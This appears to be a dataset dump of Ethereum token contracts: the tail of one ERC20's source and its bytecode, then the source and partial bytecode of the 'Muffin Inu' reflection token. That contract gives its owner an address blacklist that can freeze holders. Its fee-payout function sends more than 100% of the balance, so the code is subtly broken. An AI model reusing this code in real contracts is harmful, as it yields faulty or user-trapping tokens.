_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220005df4fd33f8f58600a9e1ae82289bf07bba7fe254465351a56bd9d280e74d9764736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 3,579 |
0x7e7f21b670eb09D47Eb792e0B6bB92d7ab11665E
|
// Muffin Inu ($MUFFIN)
//Telegram: https://t.me/muffininutoken
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MuffinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Muffin Inu";
string private constant _symbol = "MUFFIN";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(6).mul(10));
_marketingFunds.transfer(amount.div(4).mul(10));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3500000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb14610306578063c3c8cd8014610326578063d543dbeb1461033b578063dd62ed3e1461035b57600080fd5b80636fc3eaec1461026557806370a082311461027a578063715018a61461029a5780638da5cb5b146102af57600080fd5b806323b872dd116100dc57806323b872dd146101d4578063293230b8146101f4578063313ce567146102095780635932ead1146102255780636b9990531461024557600080fd5b8062b8cf2a1461011857806306fdde031461013a578063095ea7b31461017f57806318160ddd146101af57600080fd5b3661011357005b600080fd5b34801561012457600080fd5b506101386101333660046118b6565b6103a1565b005b34801561014657600080fd5b5060408051808201909152600a8152694d756666696e20496e7560b01b60208201525b60405161017691906119fa565b60405180910390f35b34801561018b57600080fd5b5061019f61019a36600461188b565b61044e565b6040519015158152602001610176565b3480156101bb57600080fd5b50670de0b6b3a76400005b604051908152602001610176565b3480156101e057600080fd5b5061019f6101ef36600461184b565b610465565b34801561020057600080fd5b506101386104ce565b34801561021557600080fd5b5060405160098152602001610176565b34801561023157600080fd5b5061013861024036600461197d565b61088f565b34801561025157600080fd5b506101386102603660046117db565b6108d7565b34801561027157600080fd5b50610138610922565b34801561028657600080fd5b506101c66102953660046117db565b61094f565b3480156102a657600080fd5b50610138610971565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610176565b3480156102e357600080fd5b5060408051808201909152600681526526aaa32324a760d11b6020820152610169565b34801561031257600080fd5b5061019f61032136600461188b565b6109e5565b34801561033257600080fd5b506101386109f2565b34801561034757600080fd5b506101386103563660046119b5565b610a28565b34801561036757600080fd5b506101c6610376366004611813565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103d45760405162461bcd60e51b81526004016103cb90611a4d565b60405180910390fd5b60005b815181101561044a576001600a600084848151811061040657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061044281611b60565b9150506103d7565b5050565b600061045b338484610afa565b5060015b92915050565b6000610472848484610c1e565b6104c484336104bf85604051806060016040528060288152602001611bcb602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611030565b610afa565b5060019392505050565b6000546001600160a01b031633146104f85760405162461bcd60e51b81526004016103cb90611a4d565b600f54600160a01b900460ff16156105525760405162461bcd60e51b815260206004820152601a60248201527f74726164696e6720697320616c7265616479207374617274656400000000000060448201526064016103cb565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561058e3082670de0b6b3a7640000610afa565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156105c757600080fd5b505afa1580156105db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ff91906117f7565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561064757600080fd5b505afa15801561065b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067f91906117f7565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156106c757600080fd5b505af11580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff91906117f7565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061072f8161094f565b6000806107446000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156107a757600080fd5b505af11580156107bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107e091906119cd565b5050600f8054660c6f3b40b6c00060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561085757600080fd5b505af115801561086b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061044a9190611999565b6000546001600160a01b031633146108b95760405162461bcd60e51b81526004016103cb90611a4d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016103cb90611a4d565b6001600160a01b03166000908152600a60205260409020805460ff19169055565b600c546001600160a01b0316336001600160a01b03161461094257600080fd5b4761094c8161106a565b50565b6001600160a01b03811660009081526002602052604081205461045f906110ff565b6000546001600160a01b0316331461099b5760405162461bcd60e51b81526004016103cb90611a4d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045b338484610c1e565b600c546001600160a01b0316336001600160a01b031614610a1257600080fd5b6000610a1d3061094f565b905061094c81611183565b6000546001600160a01b03163314610a525760405162461bcd60e51b81526004016103cb90611a4d565b60008111610aa25760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016103cb565b610abf6064610ab9670de0b6b3a764000084611328565b906113a7565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610b5c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103cb565b6001600160a01b038216610bbd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103cb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c825760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103cb565b6001600160a01b038216610